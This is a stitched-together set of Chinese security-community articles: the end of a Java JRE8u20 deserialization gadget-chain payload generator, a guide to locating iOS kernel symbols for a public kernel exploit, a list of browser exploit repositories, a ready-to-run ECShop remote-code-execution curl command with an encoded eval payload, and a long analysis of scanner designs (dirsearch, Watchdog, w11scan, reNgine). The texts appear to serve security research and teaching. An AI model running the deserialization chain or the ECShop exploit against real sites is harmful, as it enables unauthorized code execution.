// 手动添加 SC_WRITE_METHOD，否则会因为反序列化过程中的异常导致 ois.defaultDataEnd 为 true，导致流不可用。
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map);
data.addData(Templates.class);
handler.addClassDescData(desc, data);
return handler;
}
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(1); // serializable
beanContextSupportData.addData(handler);
beanContextSupportData.addData(0, true); // 防止 deserialize 内再执行 readObject
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj); // 指回被序列化的 BeanContextSupport 对象
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj;
}
public static void main(String[] args) throws Exception {
Serialization ser = new Serialization();
Templates templates = makeTemplates("open /Applications/Calculator.app");
HashMap map = new HashMap();
map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true); // capacity
hashsetData.addData(1.0f, true); // loadFactor
hashsetData.addData(2, true); // size
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
ser.write("/tmp/ser");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(new File("/tmp/ser")));
System.out.println(in.readObject());
}
}
有对文章内容感兴趣的小伙伴可以加作者的微信号公众号 **n1nty-talks** ，欢迎技术交流。
**参考资料**
****
<http://wouter.coekaerts.be/2015/annotationinvocationhandler>
这一篇资料帮助非常大，整个 payload 的思路就是这篇文章提出来的。作者对序列化机制有长时间的深入研究。
<https://gist.github.com/frohoff/24af7913611f8406eaf3>
<https://github.com/pwntester/JRE8u20_RCE_Gadget> | 社区文章 |
原文地址：<https://medium.com/@cji_/hunting-for-ios-kernel-symbols-e48a446bb00>
## 0x001 前言
上周，Google Project Zero的Ian
Beer在[Twitter](https://twitter.com/BrandonButch/status/938096284921188352)上发文，他将通过task_for_pid_0或tfp0提供对内核内存的读、写访问，以帮助研究人员更深入研究iOS
11内核安全性。
这消息一出，可能人们更多的关注会放在新系统的越狱上面，但我想借此机会再研究一下移动安全。
Ian Beer昨日已将poc代码放在Project Zero的主页上[Issue 1417: iOS/MacOS kernel double free
due to IOSurfaceRootUserClient not respecting MIG ownership
rules](https://bugs.chromium.org/p/project-zero/issues/detail?id=1417&source=post_page---------------------------)，包含有`CVE-2016-7612`、`CVE-2016-7633`两个漏洞。正当我准备好开始我的工作时，便遇到一个问题。Ian
Beer放出来的poc代码中为几个设备添加了内核符号，但这几个设备我手头上并没有。运气比较好，他提供了有关如何找到符号的详细说明。
本文旨在介绍查找iOS符号的过程，因为我没有找到关于如何执行此操作的任何其他文档，因此我想为其他人（以及将来的我自己）记录此过程，希望对你添加对设备的支持也能有所帮助。
## 0x002 查找内核符号地址
查找符号的第一步是获取目标iOS版本的kernelcache。我是通过访问[ipsw.me](https://ipsw.me/)并下载了我的iPad
Mini 2的11.1.2固件，同样也可以下载任何已经在`symbols.c`中定义了符号的设备。
在解压缩.ipsw文件之后，我下载一份[joker](http://newosxbook.com/tools/joker.html?source=post_page---------------------------)工具。这是一个命令行工具，在阅读该工具的帮助页以后，设定好-j和-m选项并处理kernelcache文件，转储所有可用的符号。输出包含我需要的这些符号的地址：
KSYMBOL_OSARRAY_GET_META_CLASS
KSYMBOL_IOUSERCLIENT_GET_META_CLASS
KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
KSYMBOL_CSBLOB_GET_CD_HASH
KSYMBOL_KALLOC_EXTERNAL
KSYMBOL_KFREE
KSYMBOL_OSSERIALIZER_SERIALIZE
KSYMBOL_KPRINTF
KSYMBOL_UUID_COPY
在用IDA
Pro加载kernelcache文件之前，我们还需要解密kernelcache文件。详细的方法可以参考这里：[getios10beta1kernelcache.sh](https://gist.github.com/joswr1ght/a02774da552aec0bf1bfee6386e82353?source=post_page---------------------------)
* open kernelcache in a hex editor and look for 0xFFCFFAEDFE, note the offset (435)
* wget -q http://nah6.com/%7Eitsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
* g++ -o lzssdec lzssdec.cpp
* ./lzssdec -o 435 < kernelcache >kernelcache.dec # 435 is offset byte count to 0xFFCFFAEDFE header
首先，IDA加载解密好的kernelcache文件，kernelcache带有一些已知内核符号，我们可以通过反汇编的结果来大致了解一下iOS内核。
最先找到的是`KSYMBOL_RET`，跳转到已知符号的地址，这是从`_kalloc_external`函数返回的`RET`指令。利用joker转储的符号地址信息很容易在IDA中跳转到对应的地址并且在同一个函数中找到这个`RET`指令。
接下来是`KSYMBOL_CPU_DATA_ENTRIES`，其中提示称数据段为0x6000。在IDA中，选择`Jump to
Segment`并转到`_data段`的开头，将该地址加上`0x6000`最终得到了我们所需的地址。
接下来的两个地址是`KSYMBOL_EL1_HW_BP_INFINITE_LOOP`和`KSYMBOL_SLEH_SYNC_EPILOG`，这是`ksymbol`列表最后两个地址，具体可以看到Ian
Beer利用代码里的`symbols.h`。在IDA中打开了String窗口(Shift + F12)并搜索字符串，双击查看引用。
对于前者，向下阅读代码找到了这段`switch case 49`语句，并且得到该地址。
对于后者，是字符串引用地址下面几个`LDP`指令中的第一个。
最后一个就是`KSYMBOL_X21_JOP_GADGET`，在看到所需的指令是`MOV
X21，X0`后，我在IDA中进行了搜索，以找到我的iPad设备的Gadget。
还剩下的5条内核符号地址是最棘手的，在IDA中搜索并没有找到什么有用的信息，所以我开始查看我找到的地址以及它们与已知地址的比较。再然后，通过对比`symbols.h`里的符号地址之间的偏移差，我发现几个已经找到的地址之间偏移差基本上都能对应得上。最后，我比较了已知地址与未知地址之间的偏移差，例如，VALID_LINK_REGISTER和X21_JOP_GADGET仅相隔0x28个字节。
接下来，用IDA加载我设备的kernelcache并跳转到`KNOWN_ADDRESS + my offset guess`，并开始在附近寻找相同的指令。
当找到所有所需内核符号地址，需在poc代码中再添加一个if路径来支持我的设备的。
添加一个`prinf()`打印出信息，编译运行poc
最后漏洞在我的设备上成功触发。这是复现iOS设备内核漏洞的一般步骤，因为网上贴出来的poc、exp用到的内核符号地址一般与我们手头上的设备不一致，这样往往造成我们无法在本机上触发漏洞。 | 社区文章 |
**作者：aSiagaming
项目地址：<https://github.com/vngkv123/aSiagaming>**
### My Browser Exploitation Repository
* Chrome
* Safari
### 1-day
INFO | Credit
---|---
[crbug-762874](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-762874/README.md)
| _tsuro
[crbug-821137](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-821137/README.md)
| ???
[crbug-716044](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-Array.prototype.map/README.md)
| halbecaf
[crbug-880207](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-Math.expm1/README.md)
| _tsuro
[crbug-888923](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-Object.create/README.md)
| ???
[crbug-906043](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-906043/README.md)
| S0rryMybad
[crbug-776677](https://github.com/vngkv123/aSiagaming/blob/master/Chrome-v8-776677/README.md)
| S0rryMybad | 社区文章 |
* 漏洞分析原文：[ECShop全系列版本远程代码执行高危漏洞分析](https://xz.aliyun.com/t/2689)
* ECSHOP RCE 漏洞复现教程：[VULNSPY实验-ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞利用](https://www.vulnspy.com/cn-ecshop-2.7.x-rce-exploit/ecshop_%3C=_2.7.x_%E5%85%A8%E7%B3%BB%E5%88%97%E7%89%88%E6%9C%AC%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/)
* 漏洞复现地址：[https://www.vsplate.com/?github=vulnspy/ECShop_2.7.3_UTF8_installed&autogo=1](https://www.vsplate.com/?github=vulnspy/ECShop_2.7.3_UTF8_installed&autogo=1)
**EXP：**
curl http://***.vsplate.me/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'
ECSHOP 3.6.x EXP：<http://www.vulnspy.com/cn-ecshop-3.x.x-rce-exploit/> | 社区文章 |
# 脚本小子修养之开发分布式扫描工具(一)
## 0x0 前言
平时自己都是用单机扫描，然后因为自己毕业设计也是基于分布式的，所以这次打算先从基本的功能-目录扫描开始着手，将分布式技术应用上去。这里简单记录下，像我这种脚本小子，是如何通过一步步学习，开发出自己心仪的工具，成为一名合格的script kid。
## 0x1 巨人的肩膀
作为一个菜到自闭的脚本小子，先学会模仿，首先就需要参考优秀的扫描器设计:
目录扫描:
[dirsearch](https://github.com/maurosoria/dirsearch)
分布式可以参考:
[Watchdog](https://github.com/CTF-MissFeng/Watchdog)
[rengine](https://github.com/yogeshojha/rengine)
[w11scan](https://github.com/w-digital-scanner/w11scan)
## 0x2 分析dirsearch
### 0x2.1 前期准备
通过查看文档介绍，这个工具有几个Features可以关注下的:
* 多线程的实现
* 从IP范围枚举目标(CIDR)
* 处理code!=404的错误页面
* 强大的Fuzz路径组合功能
* 支持HTTP and Socks代理
* 丰富的响应代码检测
* 丰富的Response过滤规则
* 安静模式和Debug模式的实现
先正常安装:
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
然后用VS code来进行调试(第一次用VS Code):
[Python debug configurations in Visual Studio
Code](https://code.visualstudio.com/docs/python/debugging)
VS Code快捷键:
* F9 标记断点
* F5 暂停/继续
* F11单步调试
* Shift+F11 单步跳出
* Ctrl+Shift+F5 重启
相关的`launch.json`
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Python: 当前文件",
"type": "python",
"request": "launch",
"stopOnEntry": false,
"program": "${file}",
"console": "integratedTerminal",
"args": [
"-u","http://127.0.0.1/",
"-e", "php"
]
}
]
### 0x2.2 执行流程分析
首先是实例Program对象:
入口做了一下3件事
1.加载配置文件,作者重写OptionParser->ArgumentParser,解析了预定义的参数和默认加载根目录的`default.conf`,采用`configparser`库来解析
这里有个我想要知道的点，就是用ipaddress库的`IPv4Network`函数来解析CIDR格式的地址。
但是缺省的模式，兼容性不是很好，建议使用非严格模式:
print(IPv4Network(test, strict=False))
这样就能减少一些麻烦。
2.美化输出, CLIOutput
3.实例Controller对象，开始正式启动程序，接收了3个变量-根目录,参数，用于美化输出的对象,
选择跟进`Controller`类,这里有些很好的点可以学习:
这里用的是queue库的Queue(),任务队列，然后可以支持raw解析比如burp请求的file，快速提取http请求需要的各项参数(作者按照http协议进行解析的，写了个实现类`raw.py`)
接下来，这个点不错，就是初始化阶段先检测下，输出结果目录是否可写，实现的话就是调用自己封装好的FileUtils工具类。
dirsearch的目录字典生成单独写了个文件`lib/core/dictionary.py`
dirsearch制作字典这个功能还是很强大的，我们分析看看。
先正常加载`dirsearch/db/dicc.txt`作为字典,接着开始生成目录Fuzz列表
生成的核心的处理函数`self.generate()`:
最终生成的目录列表被放置在`self.entries`列表。
继续回到Controller类:
这里有个很有意思的内存管理tips:`gc.collect`,用于释放刚才`del custom/result`的内存空间
下面我们可以跟进去看下这个Requester是怎么实现区分http和https的：
parsed = urllib.parse.urlparse(url) # urlparse库解析出协议
...
elif parsed.scheme not in ["https", "http"]:
...
try:
self.port = int(parsed.netloc.split(":")[1])
except IndexError:
self.port = 443 if self.protocol == "https" else 80 # 解析端口
except ValueError:
raise RequestException(
{"message": "Invalid port number: {0}".format(parsed.netloc.split(":")[1])}
)
...
# Include port in Host header if it's non-standard # 处理https 使用非443端口的情况
if (self.protocol == "https" and self.port != 443) or (
self.protocol == "http" and self.port != 80
):
self.headers["Host"] += ":{0}".format(self.port)
...
封装好了核心的请求对象`self.requester`,将其还有生成的路径字典、线程、延时传递给`Fuzzer`用来初始化`self.fuzzer`对象。
> 提前封装好请求对象，方便统一设置请求参数和代理，只需要传入代理列表就行了如proxy,proxylist,
>
> Fuzzer里面对线程做了一个最小值的判断，就是线程数目不能大于路径字典的长度，否则取路径字典长度作为线程数。(这个编程可以注意一下，可以避免内存占用太大)
* * *
前面流程主要是做了初始化各个参数和核心对象，下面进入准备流程:
这个start函数，我们逐一分析一下:
line 1:`self.setupScanners`
可以看到主要是构造了一些路径传入Scanner，返回一个对象，我们查看下Scanner使用这些路径做了什么。
这些路径就是:
url+ basepath + 随机字符串
url+ basepath + 随机字符串 + .
url+ basepath + 随机字符串 + 传入的后缀1
url+ basepath + 随机字符串 + 传入的后缀2
line2:`self.setupThreads()`
可以看到主要的工作函数是`thread_proc`,他通过自写线程安全next函数去取内容，然后丢进scan去请求。
可以看到这里会在scan的时候进行，获取之前随机字符串封装起来Scanner，然后进行相似度的判断，
满足的话，且status_code 不为404的话，就会放进去matchCallbacks，后面就是输出报告了。
### 0x2.3 设计思想分析
浏览整体的项目结构:
>:tree -L 3 -c
├── CHANGELOG.md
├── CONTRIBUTORS.md
├── Dockerfile
├── README.md
├── db
│ ├── 400_blacklist.txt
│ ├── 403_blacklist.txt
│ ├── 500_blacklist.txt
│ ├── dicc.txt
│ └── user-agents.txt
├── default.conf
├── dirsearch.py
├── lib
│ ├── __init__.py
│ ├── __pycache__
│ │ ├── __init__.cpython-37.pyc
│ │ └── __init__.cpython-39.pyc
│ ├── connection //具体请求的优化
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ ├── request_exception.py
│ │ ├── requester.py
│ │ └── response.py
│ ├── controller
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ ├── banner.txt
│ │ └── controller.py
│ ├── core //这个是真正的核心
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ ├── argument_parser.py
│ │ ├── dictionary.py
│ │ ├── fuzzer.py
│ │ ├── path.py
│ │ ├── raw.py
│ │ ├── report_manager.py
│ │ └── scanner.py
│ ├── output //输出美化
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ ├── cli_output.py
│ │ └── print_output.py
│ ├── reports //输出不同类型的库
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ ├── base_report.py
│ │ ├── csv_report.py
│ │ ├── json_report.py
│ │ ├── markdown_report.py
│ │ ├── plain_text_report.py
│ │ ├── simple_report.py
│ │ └── xml_report.py
│ └── utils //工具类的库
│ ├── __init__.py
│ ├── __pycache__
│ ├── default_config_parser.py
│ ├── file_utils.py
│ ├── random_utils.py
│ └── terminal_size.py
├── logs
│ ├── DO_NOT_DELETE_THIS_FOLDER.txt
│ ├── errors-21-03-02_16-22-46.log
│ └── errors-21-03-02_16-23-01.log
├── reports
│ ├── 127.0.0.1
│ │ ├── _21-03-02_16-22-46.txt
│ │ └── _21-03-02_16-23-01.txt
│ └── DO_NOT_DELETE_THIS_FOLDER.txt
├── requirements.txt
└── thirdparty //第三方库
整个项目划分为了5个文件夹:
* 1.db文件夹，存放路径和黑名单的列表
* 2.lib文件夹，作为library作用的存在，存放项目运行的主要的代码
(1) 子Connection文件夹
* Requester.py:为每一个目标分配一个Requester对象，方便配置各种用于请求的参数、(cookie, useragent...)、重试频率的实现、可以通过ip或者域名的方式去建立底层的tcp连接(通过重写url，host->ip,给requests.get()),请求的类方法是request，真正后端请求引用的是成熟的requests库来发包。
* Response.py:
这个思想也很棒，基于
self.status = status
self.reason = reason
self.headers = headers
self.body = body
这四个参数，然后封装了基础方法，`__hash__`,获取redirect之类的,方便其他调用。
(2)子Controller文件夹
* banner.txt:logo标志
* controller.py: 构造函数初始化配置各种请求参数，为目标初始化requester对象、
Fuzzer对象(主要是传递requester对象、爆破字典、结果匹配字典作为参数来实例化fuzzer对象)、后面就是调用fuzzer.start()去执行扫描。这个文件立马很多函数的作用都是对程序起一个整体控制的作用，比如整体暂停、整体执行，然后里面就有一些为整体控制提供的一些函数来方便调用。
(3)子core文件夹:
* argument_parser.py: 接收和检验输入的参数,先解析default.conf配置文件，然后后面在解析命令行参数，写的比较细腻，用了OptionGroup将参数进行分类,值得学习。
1.mandatory 强制性需要传输的参数
2.dictionary 路径字典的设置
3.general 常规的参数，用于调控请求
4.request http请求需要配置的参数
5.connection 主要是对request更深层次的参数自定义
* dictionary.py： 这个核心就是`generate` 函数，就是实现各种规则生成字典，但是这里也有一些比较有意思的函数，通过使用thread.lock实现了线程安全的可以根据索引来取值的列表的`nextWithIndex`函数，要是换做我来写的话，我可能采用queue来做，但是这样很不方便，比如我想reset，我只需要直接让`self.currentIndex=0`就行了,后面设计进度条也很方便。
* fuzzer.py: 核心是start函数,首先就是`self.setupScanners()`用于后面比对错误页面(其实蛮细腻的，就是每种请求格式都会有一个scanner，比如.xxx xxx xxx/ xxx.php都会根据请求的格式不同生成不同的scanner来减少误报)，接着就是`setupThreads`分配好自定义的线程个数，启动线程，核心work函数`thread_proc`, 通过`threading.Event`来统一调控(`self.play()`设置event为True,让多个线程同时启动，而不是像以前那样for循环来进行start，显得很有序)，同时也方便实现统计线程数目，
* path.py: 存储路径的请求状态和返回内容
* raw.py: 从原生的raw http协议包提取各个参数出来用来初始化请求
* report_manager.py: 输出报告管理类，主要是方便调用多种输出格式，做了一层管理作用的封装去调度各种类型的报告类。
* scanner.py: 核心就是根据相似度识别不存在页面的实现，其中引入了sqlmap的一个`DynamicContentParser`方法，这种引入第三方库的思想是值得学习的。
（4）子output文件夹
* cli_output.py、print_output.py: 安静模式用print，非安静模式就用cli，我看了下两者的区别就是, print模式将很多cli模式的函数内容替换为了`pass`，只保留了最基础的成功的路径的输出信息。
(5)子reports文件夹:
* base_report.py: 作为一个基类的存在，声明和实现了一些方法，在创建保存的目录的时候考虑了window和linux的区别。
* plain_text_report.py: 核心是generate函数，组合了输出结果成字符串，这种输出蛮有意思的，不断flush缓冲区的内容，确保内容写入到文件，不会出现因为内存中断导致数据丢失。
(6)子utils文件夹:
* file_utils.py:封装了os.path的文件操作类
* random_utils.py:生成随机字符串
* terminal_size: 主要作用是在终端实现window和linux的兼容，美化输出。
### 0x2.4 学习报告输出的实现
上面执行流程分析没有具体分析报告输出，是因为我觉得这个点可以拎出来学习一下。
dirsearch实现的是动态保存结果,就算突然中断了也会保存之前的扫描结果。
我当时在写MorePing的时候，为了实现这个效果:
>
> 程序执行就多开了个报告的线程，然后主函数扫描完成将结果存入到result_queue,然后报告的线程一直在执行，用一个不优雅的变量充当信号量，去获取result_queue的值,程序暂停时,信号量被重置为0,线程就退出了。
但是当我看完dirsearch的实现，我发现dirsearch的设计更简洁:
这个功能指向点:在多线程的主工作函数(就是核心的函数，去请求url然后获取结果的`thread_proc`)中的当发现存在满足matchCallbacks的路径时就会进行报告的存储。
这里先用`addPath`将扫描结果存起来,然后调用了`save`去保存。
这里就很有意思,可以看到这里的`outputs`列表其实就是
默认的话就是`plain_text_report`,
调用`storeData`方法将这些存入了一个`pathList`列表里(这里作者没线程安全的错误，保证了执行addPath是线程安全的)。
然后调用Save的话,主要是进去了`self.generate()`函数,进行了结果的输出
**可以看到dirsearch是将扫描出来的路径逐一加入到`pathList`,然后每次扫描出新的结果的时候，再重新根据pathList重新构造新的报告输出内容，然后在用seek(0)来控制文件指针整体覆盖写入新文件(这样可以避免重复打开文件和关闭文件,比用with
open上下文管理来说是有优势的)，来实现动态存储输出结果**
## 0x3分析Watchdog
下载地址:[Watchdog](https://github.com/CTF-MissFeng/Watchdog)
按照作者的思路，部署分布式的步骤是:
主节点部署:web+数据库
子节点通过修改:
`database.py` 中的
engine = create_engine('postgresql://postgres:[email protected]/src')
为主节点的数据库,然后分别在各个子节点，运行client目录下的xxx_run.py脚本:
client
├── __init__.py
├── database.py
├── portscan
│ ├── NmapScan.py
│ ├── ShodanScan.py
│ ├── __init__.py
│ └── portscan_run.py //这个启动是端口扫描
├── subdomain
│ ├── __init__.py
│ └── oneforall //这个是
├── urlscan
│ ├── __init__.py
│ ├── url_probe
│ └── xray
└── webinfo
├── __init__.py
├── ipdata.ipdb
├── run.py
└── wafw00f
不难发现,各个脚本都是用`While True:`来实现持久运行,这里挑选两个模块来分析一下。
### 0x3.1 端口扫描模块
def main():
print('[+]端口扫描启动')
while True:
#从数据库获取资产
assets_sql = ReadAssets()
if not assets_sql:
time.sleep(30)
else:
# 传入资产的ip值给PortScan
portscan = PortScan(assets_sql.asset_ip)
# 执行
port_dict, vulns_list = portscan.run()
if port_dict:
# 写入结果到数据库
WritePosts(port_dict, assets_sql)
(1)获取待扫描的资产信息:
(2)将IP传入PortScan,初始化，然后执行Run
这个功能代码实现的很粗糙,就是通过shodan获取到开放的端口,然后在调用Nmap去扫描获取服务指纹。
(3)提交数据库部分:
没什么好讲的。
### 0x3.2 Xray扫描模块
(1) main 部分:
首先用一个子线程启动了`web_main`,主要作用是开了个webhook的API用来将xray的结果写入到数据库。
@app.route('/webhook', methods=['POST'])
def xray_webhook():
接着下面同样开了一个子线程`xray_main`启动xray扫描器,
结果传送到前面的webhookAPI,开了个子进程去运行xray。
(3)启动crawlergo_main爬虫部分:
这里作者用了进程池(emm,感觉用的混乱),不过这里还判断了下Xray的队列大小来决定是否启动爬虫,来折中因为爬虫大量写入xray的队列的问题，不过这种控制还是不够细腻的,为了code的方便，这样写无可厚非。
这里作者将爬虫返回的新的子域名列表又重新添加到了资产中,并且在写入的数据库的时候做了去重判断。
### 0x3.3 简单分析
不难看出来,该系统实现的分布式的细粒度就是: (不同目标,多个扫描模块, 多个扫描模块去扫描不同目标)
**缺点:**
采用postgresql作为后端数据库，缺乏高性能，整个系统的读写和写入次数与细粒度的复杂度是同级别的,
缺乏调度系统，完全就是竞争模式去抢占目标，内耗程度比较高(容易导致数据库连接数过多数据丢失等情况)，缺乏高可用性，系统整体应该是低效、混乱的。
> PS.笔者没有搭建去测试，静态分析的代码，推测的结果
还有代码复用程度有点低, emm, 代码风格蛮萌新的,其实可以还可以继续封装一下。
缺乏节点管控模块, 缺乏异常的具体处理...
...
**优点:**
作为一款即兴开发的非专业程序员，通过比较暴力的方式联动了多个扫描工具，同时具备良好的界面效果和一定的可用性的"分布式"扫描器来说，Watchdog可以说是满足基本要求的,同时一款新生项目是不断成长的，需要给作者时间去慢慢改进，造福我们白嫖党ing。
## 0x4 分析w11scan
### 0x4.1 简单介绍
根据作者的安装文档和描述,应用到了celery分布式框架,然后数据缓冲采用了redis,数据存储使用了mongodb数据库。
这个架构我是觉得很不错的，系统的主要任务是识别给定url的指纹，所以核心功能部分作者的代码量是比较少的，系统的亮点应该是分布式的处理部分,
即celery的使用部分可以值得我们去学习，(PS.前端也很赏心悦目呀，够简洁，够有趣)
先看下整体目录结构:
├── Dockerfile
├── LICENSE
├── README.md
├── __init__.py
├── app
├── backup
├── celery_config.py
├── cms
├── config.py
├── dockerconf
├── docs
├── manage.py
├── requirements.txt
├── static
├── templates
├── test.py
├── whatcms.py
└── xun
### 0x4.2 分析流程
下面的分析流程,我并没有去调试代码,而是根据docker搭建好系统，根据功能点去确定入口,然后逐步跟就行。
先看下启动该系统时产生的进程:
可以看到分别启动了redis和mogond数据库,然后启动了很多whatcms的celery的work进程
感觉这种启动子进程方式不是很优雅,我可能会考虑用`supervisord`来进行worker进程的管理
* * *
这里是新建一个任务,我们抓包分析出静态代码所对应的地方。
`w11scan/app/views.py` 163行
将任务插入到数据库,后台其实在工作的,主要是上面的一条语句调用子worker节点来工作:
from cms.tasks import buildPayload
...
buildPayload.delay(item, str(insertid))
worker部分如下:
可以看到导入了`cms.tasks`模块,`cms/tasks.py,`装饰器有三个函数`otherscan`、`buildPayload`、`singscan`:
可以看到流程就是:前端提交任务->调用work执行buildPayload->构造指纹规则fuzz请求->输出结果到mongodb数据库。
这里作者有个有意思的地方,就是用了redis来作为缓存存储了url的状态
这样的好处是,如果是相同目标的话,这样不会进行重复的同时扫描(保证即时性)
但是等整个状态扫描完成时，redis会删除这个标志，所以可以再次扫描(可用即时性)
### 0x4.3 简析优缺点
**不足:**
1.虚假的节点利用率(这让我怎么抄作业? 脚本小子第一个不服)
2.缺乏简易安装的节点安装功能,考虑设置好mongodb的权限为只读,防止子节点控制核心数据库，这个设计需要考量安全性。
3.celery天然支持优先级调度,这个工具不支持,参考 <https://www.coder.work/article/372059>
4.任务细粒度依然是一个目标->一个worker处理->产生大量的request请求,很容易被BanIP
other issue:<https://github.com/w-digital-scanner/w11scan/issues>
**优点:**
代码写的很规范, 注释也很清晰, 整体架构也简单，让人很容易读懂整个程序，不至于出现一些比较低级的语句(给人胶水的感觉)。
没有复杂的大型结构, 非常适合新手作为入门工具去学习分布式。
使用了优秀的celery框架, 处理了繁琐的信息交互(下发任务,竞争处理...),提高了整体的稳定性。
## 0x5 分析reNgine
这个工具属于的设计思想虽然并不少见, 但是能维护好一个类似pipe line的功能，而且提供了
官方文档:<https://rengine.wiki/>, 一键化，定时维护，定时更新，有自己的社区,我认为是一个成功吃螃蟹的作品。
虽然这个工具并没有说明自己具备分布式能力,但是从它的设计上来看,就是采用了celery框架来写的实现的单机分布式,改改就能变成真正意义上的分布式了。
下面是笔者对该工具的分析过程。
* * *
目录结构:
├── CHANGELOG.md
├── CONTRIBUTORS.md
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── _config.yml
├── certs
│ ├── Dockerfile
│ └── entrypoint.sh
├── config
│ └── nginx
├── dashboard
│ ├── __init__.py
│ ├── admin.py
│ ├── apps.py
│ ├── models.py
│ ├── templates
│ ├── tests.py
│ ├── urls.py
│ └── views.py
├── docker-compose.dev.yml
├── docker-compose.setup.yml
├── docker-compose.yml
├── docker-entrypoint.sh
├── fixtures
│ └── default_scan_engines.yaml
├── make.bat
├── manage.py
├── notification
│ ├── __init__.py
│ ├── admin.py
│ ├── apps.py
│ ├── forms.py
│ ├── migrations
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── tests.py
│ ├── urls.py
│ └── views.py
├── reNgine
│ ├── __init__.py
│ ├── celery.py
│ ├── definitions.py
│ ├── init.py
│ ├── settings.py
│ ├── tasks.py
│ ├── urls.py
│ ├── validators.py
│ └── wsgi.py
├── requirements.txt
├── scanEngine
│ ├── __init__.py
│ ├── admin.py
│ ├── apps.py
│ ├── forms.py
│ ├── migrations
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── tests.py
│ ├── urls.py
│ └── views.py
├── secret
├── secrets
│ └── certs
├── startScan
│ ├── __init__.py
│ ├── admin.py
│ ├── api
│ ├── apps.py
│ ├── migrations
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── templatetags
│ ├── tests.py
│ ├── urls.py
│ └── views.py
├── static
│ ├── assets
│ ├── bootstrap
│ ├── custom
│ ├── img
│ └── plugins
├── staticfiles
├── targetApp
│ ├── __init__.py
│ ├── admin.py
│ ├── apps.py
│ ├── forms.py
│ ├── migrations
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── tests.py
│ ├── urls.py
│ └── views.py
├── templates
│ └── base
└── tools
├── OneForAll
├── Sublist3r
├── amass
├── aquatone
├── config
├── default_settings.yaml
├── dirsearch
├── get_dirs.sh
├── get_urls.sh
├── massdns
├── scan_results
├── subjack_fingerprint.json
├── takeover.sh
└── wordlist
这里其实目录结构不是很复杂,前端的一个大功能其实就是对应了一个文件夹。
我关注的主要是带有scan字样的文件夹。
### 0x5.1 分析流程
`startScan/views.py` 91line:
`start_scan_ui`扫描开始
我们这里跟进`doScan`函数,这里代码很长,分块来分析:
接着解析yaml的配置,来加载对应的工具,挺暴力的。
比如下面这个子域名扫描模块部分中代码中调用amass工具:
加载对应工具，让其自身输出结果文件到结果文件夹。
> 这个else设计导致了没办法复用之前的域名扫描结果了。
>
>
> 这里主要联系是根据taskid来的而不是根据domain来的,也就是说,你不能执行完一个task之后,在执行其他扫描，复用这个task，要么你必须一个task包括你想要两个task完成的功能
>
> 要不然你在插入的数据库的时候就会导致因为缺乏对应的字段导致失败的
获取子域名存储完之后,httpx读取获取到的子域名txt进行存活性判断。
